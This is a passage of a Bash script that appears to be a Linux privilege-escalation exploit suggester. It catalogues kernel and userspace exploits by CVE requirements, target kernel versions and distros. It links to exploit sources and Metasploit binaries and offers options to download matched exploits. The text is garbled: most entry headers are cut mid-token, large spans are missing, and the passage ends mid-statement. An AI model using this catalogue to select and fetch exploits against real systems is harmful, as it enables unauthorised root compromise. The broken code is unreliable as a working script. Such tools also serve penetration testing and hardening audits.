Rank: 1 767 | analysis-url: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 768 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c 769 | Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only 770 | exploit-db: 41995 771 | author: Andrey 'xairy' Konovalov 772 | EOF 773 | ) 774 | 775 | EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my] 778 | Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic} 779 | Rank: 1 780 | analysis-url: http://www.openwall.com/lists/oss-security/2017/02/22/3 781 | Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass 782 | exploit-db: 41458 783 | author: Andrey 'xairy' Konovalov 784 | EOF 785 | ) 786 | 787 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 790 | Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic} 791 | Rank: 1 792 | analysis-url: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html 793 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c 794 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c 795 | Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels 796 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-7308/exploit 797 | exploit-db: 41994 798 | author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') 799 | EOF 800 | ) 801 | 802 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 805 | Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic} 806 | Rank: 5 807 | analysis-url: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html 808 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 809 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-16995/exploit.out 810 | exploit-db: 45010 811 | author: Rick Larabee 812 | EOF 813 | ) 814 | 815 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 818 | Tags: ubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*} 819 | Rank: 1 820 | analysis-url: http://www.openwall.com/lists/oss-security/2017/08/13/1 821 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c 822 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c 823 | Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels 824 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-1000112/exploit.out 825 | exploit-db: 826 | author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') 827 | EOF 828 | ) 829 | 830 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.13,x86_64 833 | Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1} 834 | Rank: 1 835 | analysis-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt 836 | src-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c 837 | exploit-db: 42887 838 | author: Qualys 839 | Comments: 840 | EOF 841 | ) 842 | 843 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64 846 | Tags: ubuntu=16.04{kernel:4.4.0|4.8.0} 847 | Rank: 1 848 | src-url: https://gist.githubusercontent.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4/raw/959325819c78248a6437102bb289bb8578a135cd/cve-2018-5333-poc.c 849 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2018-5333/cve-2018-5333.c 850 | Comments: rds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR. 851 | author: wbowling (orginal exploit author); bcoles (author of exploit update at 'ext-url') 852 | EOF 853 | ) 854 | 855 | EXPLOITS[((n++))]=$(cat <=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ] 858 | Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} 859 | Rank: 1 860 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 861 | src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip 862 | exploit-db: 45886 863 | author: Jann Horn 864 | Comments: CONFIG_USER_NS needs to be enabled 865 | EOF 866 | ) 867 | 868 | EXPLOITS[((n++))]=$(cat <=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64 871 | Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} 872 | Rank: 1 873 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 874 | src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip 875 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c 876 | Comments: Requires an active PolKit agent. 877 | exploit-db: 47133 878 | exploit-db: 47163 879 | author: Jann Horn (orginal exploit author); bcoles (author of exploit update at 'ext-url') 880 | EOF 881 | ) 882 | 883 | EXPLOITS[((n++))]=$(cat <=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y 886 | Tags: 887 | Rank: 1 888 | analysis-url: https://duasynt.com/blog/ubuntu-centos-redhat-privesc 889 | bin-url: https://github.com/duasynt/xfrm_poc/raw/master/lucky0 890 | Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled 891 | author: Vitaly 'vnik' Nikolenko 892 | EOF 893 | ) 894 | 895 | EXPLOITS[((n++))]=$(cat <=5.7,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 910 | Tags: ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*} 911 | Rank: 5 912 | analysis-url: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story 913 | src-url: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main 914 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 915 | author: chompie1337 916 | EOF 917 | ) 918 | 919 | EXPLOITS[((n++))]=$(cat <=2.6.19,ver<=5.12-rc6 922 | Tags: ubuntu=20.04{kernel:5.8.0-*} 923 | Rank: 1 924 | analysis-url: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html 925 | src-url: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c 926 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c 927 | Comments: ip_tables kernel module must be loaded 928 | exploit-db: 50135 929 | author: theflow (orginal exploit author); bcoles (author of exploit update at 'ext-url') 930 | EOF 931 | ) 932 | 933 | EXPLOITS[((n++))]=$(cat <=5.8,ver<=5.16.11 936 | Tags: ubuntu=(20.04|21.04),debian=11 937 | Rank: 1 938 | analysis-url: https://dirtypipe.cm4all.com/ 939 | src-url: https://haxx.in/files/dirtypipez.c 940 | exploit-db: 50808 941 | author: blasty (original exploit author: Max Kellermann) 942 | EOF 943 | ) 944 | 945 | ############ USERSPACE EXPLOITS ########################### 946 | n=0 947 | 948 | EXPLOITS_USERSPACE[((n++))]=$(cat <=1.8.0,ver<=1.8.3 1019 | Tags: fedora=16 1020 | Rank: 1 1021 | analysis-url: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt 1022 | exploit-db: 18436 1023 | EOF 1024 | ) 1025 | 1026 | EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern 1074 | Tags: ubuntu=14.04 1075 | Rank: 1 1076 | analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 1077 | src-url: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c 1078 | exploit-db: 36746 1079 | EOF 1080 | ) 1081 | 1082 | EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern 1085 | Tags: ubuntu=14.04.2 1086 | Rank: 1 1087 | analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 1088 | exploit-db: 36782 1089 | EOF 1090 | ) 1091 | 1092 | EXPLOITS_USERSPACE[((n++))]=$(cat <=6.8,ver<=6.9 1138 | Tags: 1139 | Rank: 1 1140 | analysis-url: http://www.openwall.com/lists/oss-security/2017/01/26/2 1141 | exploit-db: 41173 1142 | author: Federico Bento 1143 | Comments: Needs admin interaction (root user needs to login via ssh to trigger exploitation) 1144 | EOF 1145 | ) 1146 | 1147 | EXPLOITS_USERSPACE[((n++))]=$(cat <=4.87,ver<=4.91 1415 | Tags: 1416 | Rank: 1 1417 | analysis-url: https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt 1418 | exploit-db: 46996 1419 | author: raptor 1420 | EOF 1421 | ) 1422 | 1423 | EXPLOITS_USERSPACE[((n++))]=$(cat <=4.15 1529 | enabled: cmd:grep -Eqi '\spti' /proc/cpuinfo 1530 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/pti.md 1531 | EOF 1532 | ) 1533 | 1534 | FEATURES[((n++))]=$(cat <=3.14 1544 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/stackprotector-strong.md 1545 | EOF 1546 | ) 1547 | 1548 | FEATURES[((n++))]=$(cat <=2.6.37 1567 | enabled: sysctl:kernel.dmesg_restrict!=0 1568 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/dmesg_restrict.md 1569 | EOF 1570 | ) 1571 | 1572 | FEATURES[((n++))]=$(cat <=3.0 1721 | enabled: cmd:grep -qi smep /proc/cpuinfo 1722 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/smep.md 1723 | EOF 1724 | ) 1725 | 1726 | FEATURES[((n++))]=$(cat <=3.7 1729 | enabled: cmd:grep -qi smap /proc/cpuinfo 1730 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/smap.md 1731 | EOF 1732 | ) 1733 | 1734 | FEATURES[((n++))]=$(cat < - provide kernel version" 1816 | echo " -u | --uname - provide 'uname -a' string" 1817 | echo " --skip-more-checks - do not perform additional checks (kernel config, sysctl) to determine if exploit is applicable" 1818 | echo " --skip-pkg-versions - skip checking for exact userspace package version (helps to avoid false negatives)" 1819 | echo " -p | --pkglist-file - provide file with 'dpkg -l' or 'rpm -qa' command output" 1820 | echo " --cvelist-file - provide file with Linux kernel CVEs list" 1821 | echo " --checksec - list security related features for your HW/kernel" 1822 | echo " -s | --fetch-sources - automatically downloads source for matched exploit" 1823 | echo " -b | --fetch-binaries - automatically downloads binary for matched exploit if available" 1824 | echo " -f | --full - show full info about matched exploit" 1825 | echo " -g | --short - show shorten info about matched exploit" 1826 | echo " --kernelspace-only - show only kernel vulnerabilities" 1827 | echo " --userspace-only - show only userspace vulnerabilities" 1828 | echo " -d | --show-dos - show also DoSes in results" 1829 | } 1830 | 1831 | exitWithErrMsg() { 1832 | echo "$1" 1>&2 1833 | exit 1 1834 | } 1835 | 1836 | # extracts all information from output of 'uname -a' command 1837 | parseUname() { 1838 | local uname=$1 1839 | 1840 | KERNEL=$(echo "$uname" | awk '{print $3}' | cut -d '-' -f 1) 1841 | KERNEL_ALL=$(echo "$uname" | awk '{print $3}') 1842 | ARCH=$(echo "$uname" | awk '{print $(NF-1)}') 1843 | 1844 | OS="" 1845 | echo "$uname" | grep -q -i 'deb' && OS="debian" 1846 | echo "$uname" | grep -q -i 'ubuntu' && OS="ubuntu" 1847 | echo "$uname" | grep -q -i '\-ARCH' && OS="arch" 1848 | echo "$uname" | grep -q -i '\-deepin' && OS="deepin" 1849 | echo "$uname" | grep -q -i '\-MANJARO' && OS="manjaro" 1850 | echo "$uname" | grep -q -i '\.fc' && OS="fedora" 1851 | echo "$uname" | grep -q -i '\.el' && OS="RHEL" 1852 | echo "$uname" | grep -q -i '\.mga' && OS="mageia" 1853 | 1854 | # 'uname -a' output doesn't contain distribution number (at least not in case of all distros) 1855 | } 1856 | 1857 | getPkgList() { 1858 | local distro=$1 1859 | local pkglist_file=$2 1860 | 1861 | # take package listing from provided file & detect if it's 'rpm -qa' listing or 'dpkg -l' or 'pacman -Q' listing of not recognized listing 1862 | if [ "$opt_pkglist_file" = "true" -a -e "$pkglist_file" ]; then 1863 | 1864 | # ubuntu/debian package listing file 1865 | if [ $(head -1 "$pkglist_file" | grep 'Desired=Unknown/Install/Remove/Purge/Hold') ]; then 1866 | PKG_LIST=$(cat "$pkglist_file" | awk '{print $2"-"$3}' | sed 's/:amd64//g') 1867 | 1868 | OS="debian" 1869 | [ "$(grep ubuntu "$pkglist_file")" ] && OS="ubuntu" 1870 | # redhat package listing file 1871 | elif [ "$(grep -E '\.el[1-9]+[\._]' "$pkglist_file" | head -1)" ]; then 1872 | PKG_LIST=$(cat "$pkglist_file") 1873 | OS="RHEL" 1874 | # fedora package listing file 1875 | elif [ "$(grep -E '\.fc[1-9]+'i "$pkglist_file" | head -1)" ]; then 1876 | PKG_LIST=$(cat "$pkglist_file") 1877 | OS="fedora" 1878 | # mageia package listing file 1879 | elif [ "$(grep -E '\.mga[1-9]+' "$pkglist_file" | head -1)" ]; then 1880 | PKG_LIST=$(cat "$pkglist_file") 1881 | OS="mageia" 1882 | # pacman package listing file 1883 | elif [ "$(grep -E '\ [0-9]+\.' "$pkglist_file" | head -1)" ]; then 1884 | PKG_LIST=$(cat "$pkglist_file" | awk '{print $1"-"$2}') 1885 | OS="arch" 1886 | # file not recognized - skipping 1887 | else 1888 | PKG_LIST="" 1889 | fi 1890 | 1891 | elif [ "$distro" = "debian" -o "$distro" = "ubuntu" -o "$distro" = "deepin" ]; then 1892 | PKG_LIST=$(dpkg -l | awk '{print $2"-"$3}' | sed 's/:amd64//g') 1893 | elif [ "$distro" = "RHEL" -o "$distro" = "fedora" -o "$distro" = "mageia" ]; then 1894 | PKG_LIST=$(rpm -qa) 1895 | elif [ "$distro" = "arch" -o "$distro" = "manjaro" ]; then 1896 | PKG_LIST=$(pacman -Q | awk '{print $1"-"$2}') 1897 | elif [ -x /usr/bin/equery ]; then 1898 | PKG_LIST=$(/usr/bin/equery --quiet list '*' -F '$name:$version' | cut -d/ -f2- | awk '{print $1":"$2}') 1899 | else 1900 | # packages listing not available 1901 | PKG_LIST="" 1902 | fi 1903 | } 1904 | 1905 | # from: https://stackoverflow.com/questions/4023830/how-compare-two-strings-in-dot-separated-version-format-in-bash 1906 | verComparision() { 1907 | 1908 | if [[ $1 == $2 ]] 1909 | then 1910 | return 0 1911 | fi 1912 | 1913 | local IFS=. 1914 | local i ver1=($1) ver2=($2) 1915 | 1916 | # fill empty fields in ver1 with zeros 1917 | for ((i=${#ver1[@]}; i<${#ver2[@]}; i++)) 1918 | do 1919 | ver1[i]=0 1920 | done 1921 | 1922 | for ((i=0; i<${#ver1[@]}; i++)) 1923 | do 1924 | if [[ -z ${ver2[i]} ]] 1925 | then 1926 | # fill empty fields in ver2 with zeros 1927 | ver2[i]=0 1928 | fi 1929 | if ((10#${ver1[i]} > 10#${ver2[i]})) 1930 | then 1931 | return 1 1932 | fi 1933 | if ((10#${ver1[i]} < 10#${ver2[i]})) 1934 | then 1935 | return 2 1936 | fi 1937 | done 1938 | 1939 | return 0 1940 | } 1941 | 1942 | doVersionComparision() { 1943 | local reqVersion="$1" 1944 | local reqRelation="$2" 1945 | local currentVersion="$3" 1946 | 1947 | verComparision $currentVersion $reqVersion 1948 | case $? in 1949 | 0) currentRelation='=';; 1950 | 1) currentRelation='>';; 1951 | 2) currentRelation='<';; 1952 | esac 1953 | 1954 | if [ "$reqRelation" == "=" ]; then 1955 | [ $currentRelation == "=" ] && return 0 1956 | elif [ "$reqRelation" == ">" ]; then 1957 | [ $currentRelation == ">" ] && return 0 1958 | elif [ "$reqRelation" == "<" ]; then 1959 | [ $currentRelation == "<" ] && return 0 1960 | elif [ "$reqRelation" == ">=" ]; then 1961 | [ $currentRelation == "=" ] && return 0 1962 | [ $currentRelation == ">" ] && return 0 1963 | elif [ "$reqRelation" == "<=" ]; then 1964 | [ $currentRelation == "=" ] && return 0 1965 | [ $currentRelation == "<" ] && return 0 1966 | fi 1967 | } 1968 | 1969 | compareValues() { 1970 | curVal=$1 1971 | val=$2 1972 | sign=$3 1973 | 1974 | if [ "$sign" == "==" ]; then 1975 | [ "$val" == "$curVal" ] && return 0 1976 | elif [ "$sign" == "!=" ]; then 1977 | [ "$val" != "$curVal" ] && return 0 1978 | fi 1979 | 1980 | return 1 1981 | } 1982 | 1983 | checkRequirement() { 1984 | #echo "Checking requirement: $1" 1985 | local IN="$1" 1986 | local pkgName="${2:4}" 1987 | 1988 | if [[ "$IN" =~ ^pkg=.*$ ]]; then 1989 | 1990 | # always true for Linux OS 1991 | [ ${pkgName} == "linux-kernel" ] && return 0 1992 | 1993 | # verify if package is present 1994 | pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) 1995 | if [ -n "$pkg" ]; then 1996 | return 0 1997 | fi 1998 | 1999 | elif [[ "$IN" =~ ^ver.*$ ]]; then 2000 | version="${IN//[^0-9.]/}" 2001 | rest="${IN#ver}" 2002 | operator=${rest%$version} 2003 | 2004 | if [ "$pkgName" == "linux-kernel" -o "$opt_checksec_mode" == "true" ]; then 2005 | 2006 | # for --cvelist-file mode skip kernel version comparision 2007 | [ "$opt_cvelist_file" = "true" ] && return 0 2008 | 2009 | doVersionComparision $version $operator $KERNEL && return 0 2010 | else 2011 | # extract package version and check if requiremnt is true 2012 | pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) 2013 | 2014 | # skip (if run with --skip-pkg-versions) version checking if package with given name is installed 2015 | [ "$opt_skip_pkg_versions" = "true" -a -n "$pkg" ] && return 0 2016 | 2017 | # versioning: 2018 | #echo "pkg: $pkg" 2019 | pkgVersion=$(echo "$pkg" | grep -E -i -o -e '-[\.0-9\+:p]+[-\+]' | cut -d':' -f2 | sed 's/[\+-]//g' | sed 's/p[0-9]//g') 2020 | #echo "version: $pkgVersion" 2021 | #echo "operator: $operator" 2022 | #echo "required version: $version" 2023 | #echo 2024 | doVersionComparision $version $operator $pkgVersion && return 0 2025 | fi 2026 | elif [[ "$IN" =~ ^x86_64$ ]] && [ "$ARCH" == "x86_64" -o "$ARCH" == "" ]; then 2027 | return 0 2028 | elif [[ "$IN" =~ ^x86$ ]] && [ "$ARCH" == "i386" -o "$ARCH" == "i686" -o "$ARCH" == "" ]; then 2029 | return 0 2030 | elif [[ "$IN" =~ ^CONFIG_.*$ ]]; then 2031 | 2032 | # skip if check is not applicable (-k or --uname or -p set) or if user said so (--skip-more-checks) 2033 | [ "$opt_skip_more_checks" = "true" ] && return 0 2034 | 2035 | # if kernel config IS available: 2036 | if [ -n "$KCONFIG" ]; then 2037 | if $KCONFIG | grep -E -qi $IN; then 2038 | return 0; 2039 | # required option wasn't found, exploit is not applicable 2040 | else 2041 | return 1; 2042 | fi 2043 | # config is not available 2044 | else 2045 | return 0; 2046 | fi 2047 | elif [[ "$IN" =~ ^sysctl:.*$ ]]; then 2048 | 2049 | # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) 2050 | [ "$opt_skip_more_checks" = "true" ] && return 0 2051 | 2052 | sysctlCondition="${IN:7}" 2053 | 2054 | # extract sysctl entry, relation sign and required value 2055 | if echo $sysctlCondition | grep -qi "!="; then 2056 | sign="!=" 2057 | elif echo $sysctlCondition | grep -qi "=="; then 2058 | sign="==" 2059 | else 2060 | exitWithErrMsg "Wrong sysctl condition. There is syntax error in your features DB. Aborting." 2061 | fi 2062 | val=$(echo "$sysctlCondition" | awk -F "$sign" '{print $2}') 2063 | entry=$(echo "$sysctlCondition" | awk -F "$sign" '{print $1}') 2064 | 2065 | # get current setting of sysctl entry 2066 | curVal=$(/sbin/sysctl -a 2> /dev/null | grep "$entry" | awk -F'=' '{print $2}') 2067 | 2068 | # special case for --checksec mode: return 2 if there is no such switch in sysctl 2069 | [ -z "$curVal" -a "$opt_checksec_mode" = "true" ] && return 2 2070 | 2071 | # for other modes: skip if there is no such switch in sysctl 2072 | [ -z "$curVal" ] && return 0 2073 | 2074 | # compare & return result 2075 | compareValues $curVal $val $sign && return 0 2076 | 2077 | elif [[ "$IN" =~ ^cmd:.*$ ]]; then 2078 | 2079 | # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) 2080 | [ "$opt_skip_more_checks" = "true" ] && return 0 2081 | 2082 | cmd="${IN:4}" 2083 | if eval "${cmd}"; then 2084 | return 0 2085 | fi 2086 | fi 2087 | 2088 | return 1 2089 | } 2090 | 2091 | getKernelConfig() { 2092 | 2093 | if [ -f /proc/config.gz ] ; then 2094 | KCONFIG="zcat /proc/config.gz" 2095 | elif [ -f /boot/config-`uname -r` ] ; then 2096 | KCONFIG="cat /boot/config-`uname -r`" 2097 | elif [ -f "${KBUILD_OUTPUT:-/usr/src/linux}"/.config ] ; then 2098 | KCONFIG="cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config" 2099 | else 2100 | KCONFIG="" 2101 | fi 2102 | } 2103 | 2104 | checksecMode() { 2105 | 2106 | MODE=0 2107 | 2108 | # start analysis 2109 | for FEATURE in "${FEATURES[@]}"; do 2110 | 2111 | # create array from current exploit here doc and fetch needed lines 2112 | i=0 2113 | # ('-r' is used to not interpret backslash used for bash colors) 2114 | while read -r line 2115 | do 2116 | arr[i]="$line" 2117 | i=$((i + 1)) 2118 | done <<< "$FEATURE" 2119 | 2120 | # modes: kernel-feature (1) | hw-feature (2) | 3rdparty-feature (3) | attack-surface (4) 2121 | NAME="${arr[0]}" 2122 | PRE_NAME="${NAME:0:8}" 2123 | NAME="${NAME:9}" 2124 | if [ "${PRE_NAME}" = "section:" ]; then 2125 | # advance to next MODE 2126 | MODE=$(($MODE + 1)) 2127 | 2128 | echo 2129 | echo -e "${bldwht}${NAME}${txtrst}" 2130 | echo 2131 | continue 2132 | fi 2133 | 2134 | AVAILABLE="${arr[1]}" && AVAILABLE="${AVAILABLE:11}" 2135 | ENABLE=$(echo "$FEATURE" | grep "enabled: " | awk -F'ed: ' '{print $2}') 2136 | analysis_url=$(echo "$FEATURE" | grep "analysis-url: " | awk '{print $2}') 2137 | 2138 | # split line with availability requirements & loop thru all availability reqs one by one & check whether it is met 2139 | IFS=',' read -r -a array <<< "$AVAILABLE" 2140 | AVAILABLE_REQS_NUM=${#array[@]} 2141 | AVAILABLE_PASSED_REQ=0 2142 | CONFIG="" 2143 | for REQ in "${array[@]}"; do 2144 | 2145 | # find CONFIG_ name (if present) for current feature (only for display purposes) 2146 | if [ -z "$CONFIG" ]; then 2147 | config=$(echo "$REQ" | grep "CONFIG_") 2148 | [ -n "$config" ] && CONFIG="($(echo $REQ | cut -d'=' -f1))" 2149 | fi 2150 | 2151 | if (checkRequirement "$REQ"); then 2152 | AVAILABLE_PASSED_REQ=$(($AVAILABLE_PASSED_REQ + 1)) 2153 | else 2154 | break 2155 | fi 2156 | done 2157 | 2158 | # split line with enablement requirements & loop thru all enablement reqs one by one & check whether it is met 2159 | ENABLE_PASSED_REQ=0 2160 | ENABLE_REQS_NUM=0 2161 | noSysctl=0 2162 | if [ -n "$ENABLE" ]; then 2163 | IFS=',' read -r -a array <<< "$ENABLE" 2164 | ENABLE_REQS_NUM=${#array[@]} 2165 | for REQ in "${array[@]}"; do 2166 | cmdStdout=$(checkRequirement "$REQ") 2167 | retVal=$? 2168 | if [ $retVal -eq 0 ]; then 2169 | ENABLE_PASSED_REQ=$(($ENABLE_PASSED_REQ + 1)) 2170 | elif [ $retVal -eq 2 ]; then 2171 | # special case: sysctl entry is not present on given system: signal it as: N/A 2172 | noSysctl=1 2173 | break 2174 | else 2175 | break 2176 | fi 2177 | done 2178 | fi 2179 | 2180 | feature=$(echo "$FEATURE" | grep "feature: " | cut -d' ' -f 2-) 2181 | 2182 | if [ -n "$cmdStdout" ]; then 2183 | if [ $cmdStdout -eq 0 ]; then 2184 | state="[ ${txtred}Set to $cmdStdout${txtrst} ]" 2185 | cmdStdout="" 2186 | else 2187 | state="[ ${txtgrn}Set to $cmdStdout${txtrst} ]" 2188 | cmdStdout="" 2189 | fi 2190 | else 2191 | 2192 | unknown="[ ${txtgray}Unknown${txtrst} ]" 2193 | 2194 | # for 3rd party (3) mode display "N/A" or "Enabled" 2195 | if [ $MODE -eq 3 ]; then 2196 | enabled="[ ${txtgrn}Enabled${txtrst} ]" 2197 | disabled="[ ${txtgray}N/A${txtrst} ]" 2198 | 2199 | # for attack-surface (4) mode display "Locked" or "Exposed" 2200 | elif [ $MODE -eq 4 ]; then 2201 | enabled="[ ${txtred}Exposed${txtrst} ]" 2202 | disabled="[ ${txtgrn}Locked${txtrst} ]" 2203 | 2204 | # other modes" "Disabled" / "Enabled" 2205 | else 2206 | enabled="[ ${txtgrn}Enabled${txtrst} ]" 2207 | disabled="[ ${txtred}Disabled${txtrst} ]" 2208 | fi 2209 | 2210 | if [ -z "$KCONFIG" -a "$ENABLE_REQS_NUM" = 0 ]; then 2211 | state=$unknown 2212 | elif [ $AVAILABLE_PASSED_REQ -eq $AVAILABLE_REQS_NUM -a $ENABLE_PASSED_REQ -eq $ENABLE_REQS_NUM ]; then 2213 | state=$enabled 2214 | else 2215 | state=$disabled 2216 | fi 2217 | 2218 | fi 2219 | 2220 | echo -e " $state $feature ${wht}${CONFIG}${txtrst}" 2221 | [ -n "$analysis_url" ] && echo -e " $analysis_url" 2222 | echo 2223 | 2224 | done 2225 | 2226 | } 2227 | 2228 | displayExposure() { 2229 | RANK=$1 2230 | 2231 | if [ "$RANK" -ge 6 ]; then 2232 | echo "highly probable" 2233 | elif [ "$RANK" -ge 3 ]; then 2234 | echo "probable" 2235 | else 2236 | echo "less probable" 2237 | fi 2238 | } 2239 | 2240 | # parse command line parameters 2241 | ARGS=$(getopt --options $SHORTOPTS --longoptions $LONGOPTS -- "$@") 2242 | [ $? != 0 ] && exitWithErrMsg "Aborting." 2243 | 2244 | eval set -- "$ARGS" 2245 | 2246 | while true; do 2247 | case "$1" in 2248 | -u|--uname) 2249 | shift 2250 | UNAME_A="$1" 2251 | opt_uname_string=true 2252 | ;; 2253 | -V|--version) 2254 | version 2255 | exit 0 2256 | ;; 2257 | -h|--help) 2258 | usage 2259 | exit 0 2260 | ;; 2261 | -f|--full) 2262 | opt_full=true 2263 | ;; 2264 | -g|--short) 2265 | opt_summary=true 2266 | ;; 2267 | -b|--fetch-binaries) 2268 | opt_fetch_bins=true 2269 | ;; 2270 | -s|--fetch-sources) 2271 | opt_fetch_srcs=true 2272 | ;; 2273 | -k|--kernel) 2274 | shift 2275 | KERNEL="$1" 2276 | opt_kernel_version=true 2277 | ;; 2278 | -d|--show-dos) 2279 | opt_show_dos=true 2280 | ;; 2281 | -p|--pkglist-file) 2282 | shift 2283 | PKGLIST_FILE="$1" 2284 | opt_pkglist_file=true 2285 | ;; 2286 | --cvelist-file) 2287 | shift 2288 | CVELIST_FILE="$1" 2289 | opt_cvelist_file=true 2290 | ;; 2291 | --checksec) 2292 | opt_checksec_mode=true 2293 | ;; 2294 | --kernelspace-only) 2295 | opt_kernel_only=true 2296 | ;; 2297 | --userspace-only) 2298 | opt_userspace_only=true 2299 | ;; 2300 | --skip-more-checks) 2301 | opt_skip_more_checks=true 2302 | ;; 2303 | --skip-pkg-versions) 2304 | opt_skip_pkg_versions=true 2305 | ;; 2306 | *) 2307 | shift 2308 | if [ "$#" != "0" ]; then 2309 | exitWithErrMsg "Unknown option '$1'. Aborting." 2310 | fi 2311 | break 2312 | ;; 2313 | esac 2314 | shift 2315 | done 2316 | 2317 | # check Bash version (associative arrays need Bash in version 4.0+) 2318 | if ((BASH_VERSINFO[0] < 4)); then 2319 | exitWithErrMsg "Script needs Bash in version 4.0 or newer. Aborting." 2320 | fi 2321 | 2322 | # exit if both --kernel and --uname are set 2323 | [ "$opt_kernel_version" = "true" ] && [ $opt_uname_string = "true" ] && exitWithErrMsg "Switches -u|--uname and -k|--kernel are mutually exclusive. Aborting." 2324 | 2325 | # exit if both 